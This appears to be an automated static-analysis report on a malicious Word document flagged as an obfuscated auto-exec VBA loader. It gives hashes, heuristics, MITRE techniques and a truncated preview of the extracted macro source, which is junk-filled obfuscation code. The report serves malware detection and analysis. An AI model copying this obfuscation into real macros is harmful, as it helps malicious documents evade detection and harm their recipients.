Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2ac5ce20e846a51…

MALICIOUS

Office (OLE)

182.0 KB Created: 2018-04-26 09:05:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: dead9e391264af490ec7c7b893cfbe88 SHA-1: d7e6ea5f3d8b5e8d8705af9fa02aef970c5cb52e SHA-256: f2ac5ce20e846a51ec00c7e57175a9bd17c7b8dd3ab3e7a136c98092e128537e
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and exhibits critical heuristic firings for an obfuscated auto-exec VBA loader. The presence of a Document_Open macro and GetObject calls further indicates malicious intent. The VBA script is heavily obfuscated, making it difficult to determine the exact payload, but its structure suggests it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38321 bytes
SHA-256: f917e3087a595e3f45e4e4f55a2b4dddacd9226e5df13dfeb0181d8c8da9fb56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub mugnZz(AtPnFu As Boolean, MEYJzNt As Integer, BriXhje As Boolean, BFoDdx As Boolean, UyIfeQ As String)
    eMVgjE = 788 - 1108 - 1916
    mwFiPdy = 443 + 1900 + 979
    While CEWWGB < 107
        bJniRkWh = LTrim("%d]jWP(P*eOH!^Zu%.x")
        TLUXTQ = "%@ u]uhnu$hBozhd@rN(" + "hd%ta %*!H%Fg&ltWHWn" + "S% GKN[V^Cl"
        vFPKG = RTrim("(j%rCyF*.iw")
        CfThmoPF = Space(8)
        mYudg = LTrim("HXKnc_@[fUT*lu]kdX")
        mYudg = "qquJPxc%^Yj?*" + "xDCoIsf^iJ!G" + "wEPIeAnNGVQJQnOYhxSo"
        CEWWGB = CEWWGB + 2
    Wend

    bJniRkWh = RTrim("hdf]dowNO)qJ^So")
    DslvbYyR = Right("ZO]kLYNuza R", 4)
    vFPKG = Left("mwDWd@Ze#)^&bMZ%(", 2)
    LFJVQgrk = StrReverse("?ps?CbppRD$(*")
    While utfNyz < 151
        bJniRkWh = 1801 + 203 + 892
        oyUVzqMb = Left("UtOiu$yBbDPuJf", 5)
        oyUVzqMb = RTrim("#jO?BFrc$?bWC")
        LFJVQgrk = "SmYq_AsMCuIN&" + "aWkVmWXIx&s_r" + "cOy)gm?pYWt"
        jlvtH = StrReverse("(T&b]qQ)pzy-VIWGnQ")
        mwFiPdy = 617 - 1708 - 1295
        utfNyz = utfNyz + 1
    Wend

    mYudg = StrReverse("T-xNkkICtTW sh)xA")
    jlvtH = UCase("yRnRzuVFOiPtG$k")
    mYudg = 1349 - 529 - 929
    For WFVets = 0 To 358
        DslvbYyR = 1407 + 1229 + 1238
        TLUXTQ = Left("Ux[-Q_DAlnCK%(bG", 5)
    Next WFVets

    TLUXTQ = LTrim("&xORfW!uvrhGY[fef")
    vFPKG = Left("#f[uxdjT MA@OGIQHRv", 5)
    LmywOYid = 1505 - 1250 - 1996
    mYudg = LTrim("P?lA[PFz?eFI")
    For mVIKWd = 0 To 303
        jlvtH = UCase("vV#@JqibXj_tMxirg@")
        oyUVzqMb = 393 - 1638 - 1570
    Next mVIKWd

    mwFiPdy = Space(14)
    eMVgjE = RTrim("X^)# br$H(^]Mm")
    eMVgjE = Space(13)
    CfThmoPF = RTrim("k? #EGoahNY$!*")
    oyUVzqMb = 1504 - 342 - 1508
    DslvbYyR = UCase("Lsi[%^gz)C*y")
    For eJxNPl = 0 To 315
        TLUXTQ = LTrim("YRh)G#c^i-f(x")
        mwFiPdy = "UDphqy.onLwp*]U" + "W&jb???Je)t%))aa%wLS" + "sRllmLPj@%rl%zK__?"
        oyUVzqMb = 531 - 518 - 800
        CfThmoPF = 1359 - 1391 - 1047
        vFPKG = Left("m#VcuJ?DHWU!CMaVO[_", 2)
        CfThmoPF = RTrim(")RdBawULW!Bjezkvy")
        eMVgjE = UCase("s _XQ$LcSp&NY")
    Next eJxNPl

    bJniRkWh = 832 - 1478 - 1413
    vFPKG = 1784 + 605 + 1958
End Sub

Private Function aFDghY(aHsyiF As Integer, cbZjnb As Boolean, vSYSSWZ As Boolean) As String
    For BrbUFM = 0 To 332
        DslvbYyR = StrReverse("iASs^Bm[wBG")
        TLUXTQ = 1253 - 1688 - 931
        bJniRkWh = Left("gGfcW?)WK_@^^E!.gn", 2)
    Next BrbUFM

    For kLSBCe = 0 To 30
        CfThmoPF = "&)g #z%[Gv@s" + ")-sbxmpPqYq#u !x m" + "mbSBFc%p^_SPN"
        jlvtH = Right("Q?t!uAYy?wZPmAH", 4)
        DslvbYyR = UCase("URD@[-LsZDC")
        eMVgjE = StrReverse("v[%Ha_M?Mzv&m")
        LFJVQgrk = StrReverse("y#aRxKrht]YkLin")
    Next kLSBCe

    oyUVzqMb = Space(17)
    bJniRkWh = Right("w$^ cTzeKCSR]MOkr", 3)
    While kSVfIX < 284
        vFPKG = Space(19)
        LmywOYid = UCase("^b.*gjeHUK[Q^M")
        TLUXTQ = RTrim("odGevaVLNq@")
        eMVgjE = RTrim("S[KAwq@jOlQDv")
        kSVfIX = kSVfIX + 2
    Wend

    eMVgjE = StrReverse("ONiGW a-Ntie")
    CfThmoPF = LTrim("B L(hfOJwx[!L!_")
    vFPKG = StrReverse("prXfw($Z*@ip TqK(K")
    oyUVzqMb = StrReverse("_ERWZut?AYHvsvVAx)dm")
    mYudg = StrReverse("FdMGsPLQ%AHd")
    mwFiPdy = StrReverse("%UKWOPcAyl#QbUZSe!")
    vFPKG = UCase("uXB!*xxn[V")
    While XWPwKL < 331
        mYudg = Space(8)
        mwFiPdy = 950 + 1663 + 120
        XWPwKL = XWPwKL + 2
    Wend

    jlvtH = "uyJw#_bKQ^bdHeB" + "U#NDA!HPGdbS(H[" + "njtWyDw j^MXi_j*wB"
    oyUVzqMb = 1748 - 1395 - 1307
    mYudg = 832 - 1735 - 827
    mYudg = LTrim("&lD&AuqLucncb")
    mYudg = Right("-n*A[#ANKk", 2)
    LFJVQgrk = Left("doT ]DR]^Z G", 4)
    vF
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.